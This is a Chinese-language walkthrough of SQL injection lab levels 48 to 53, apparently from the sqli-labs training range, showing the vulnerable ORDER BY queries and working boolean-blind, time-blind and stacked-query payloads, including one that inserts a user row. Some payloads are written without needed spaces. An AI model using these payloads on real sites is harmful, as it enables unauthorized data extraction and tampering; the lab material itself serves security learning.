Lesson-48
该题为数字型get型注入,利用方式包括布尔盲注、时间盲注
sort=1'
目标SQL语句如下:
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY $id";
# 返回内容
iftrue:
输出查询内容;
else:
输出报错;
注意:该题与Lesson46的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入
使用布尔盲注判断注入点
sort=1--+
查询长度
sort=rand(length(user())>13)--+ //返回正常界面
sort=rand(length(user())>14)--+ //返回不同界面
两次结果不同,由此判断长度为 14
查询字符
sort=rand(substr(user(),1,1)='r')--+ //返回正常界面
sort=rand(left(user(),1)='r')--+ //left()函数
sort=rand(ascii(substr(user(),1,1))=114)--+ //ASCII码
sort=rand(substr(user(),1,1)='s')--+ //返回不同界面
确定用户名为root@localhost
sort=rand(substr(user(),1,14)='root@localhost')--+
以此类推根据返回界面是否不同即可查询数据库名、表名、列名等
sort=rand(substr((selectdatabase()),1,14)='security')--+
Lesson-49
该题为单引号型get型注入,利用方式包括时间盲注
sort=1'
目标SQL语句如下:
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY '$id'";
# 返回内容
iftrue:
输出查询内容;
else:
输出报错;
注意:该题与Lesson48的利用方式相同,只不过拼接方式由数字变成了单引号
使用时间盲注判断注入点
sort=1'--+
查询长度
sort=1' and if(length(user())>1,sleep(0.1),0)--+ //界面响应需2.3秒以上
sort=1'andif(length(user())>20,sleep(0.1),0)--+ //快速返回界面
确认长度为14位
sort=1' and if(length(user())=14,sleep(0.1),0)--+ //界面响应需2.3秒以上
sort=1'andif(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+
查询字符
sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上
sort=1'andif(left(user(),1)='r',sleep(0.1),0)--+ //left()函数
sort=1' and if(ascii(substr(user(),1,1))=114,sleep(0.1),0)--+ //ASCII码
sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上
确定用户名为root@localhost
sort=1' and if(substr(user(),1,14)='root@localhost',sleep(0.1),0)--+
以此类推根据返回界面是否不同即可查询数据库名、表名、列名等
sort=1' and if(substr(database(),1,14)='security',sleep(0.1),0)--+
Lesson-50
该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入
sort=1'
目标SQL语句如下:
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY $id";
# 返回内容
ifmysqli_multi_query($con1, $sql):
输出查询内容;
else:
print_r(mysqli_error($con1));
注意:该题与Lesson46的利用方式相同,只不过查询方式由mysql_query变成了mysqli_multi_query,因此支持堆叠查询
使用堆叠查询判断注入点
sort=1--+
添加字段值
sort=1;insertinto users(username,password)values('mac','mac')--+
查询字段值是否被添加,成功添加
sort=1
Lesson-51
该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入
sort=1'
目标SQL语句如下:
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY '$id'";
# 返回内容
ifmysqli_multi_query($con1, $sql):
输出查询内容;
else:
print_r(mysqli_error($con1));
注意:该题与Lesson50的利用方式相同,只不过拼接方式由数字换成了单引号
使用堆叠查询判断注入点
sort=1'--+
添加字段值
sort=1';insert into users(username,password) values('mac','mac')--+
查询字段值是否被添加,成功添加
sort=1
Lesson-52
该题为数字型get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入
sort=1'
目标SQL语句如下:
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY $id";
# 返回内容
ifmysqli_multi_query($con1, $sql):
输出查询内容;
else:
输出报错;
注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入
使用堆叠查询判断注入点
sort=1--+
添加字段值
sort=1;insertinto users(username,password)values('mac','mac')--+
查询字段值是否被添加,成功添加
sort=1
Lesson-53
该题为单引号get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入
sort=1'
目标SQL语句如下:
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY '$id'";
# 返回内容
ifmysqli_multi_query($con1, $sql):
输出查询内容;
else:
输出报错;
注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入
使用堆叠查询判断注入点
sort=1'--+
添加字段值
sort=1';insert into users(username,password) values('mac','mac')--+
查询字段值是否被添加,成功添加
sort=1
0x02 总结
该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了38-53关高级注入的通关教程。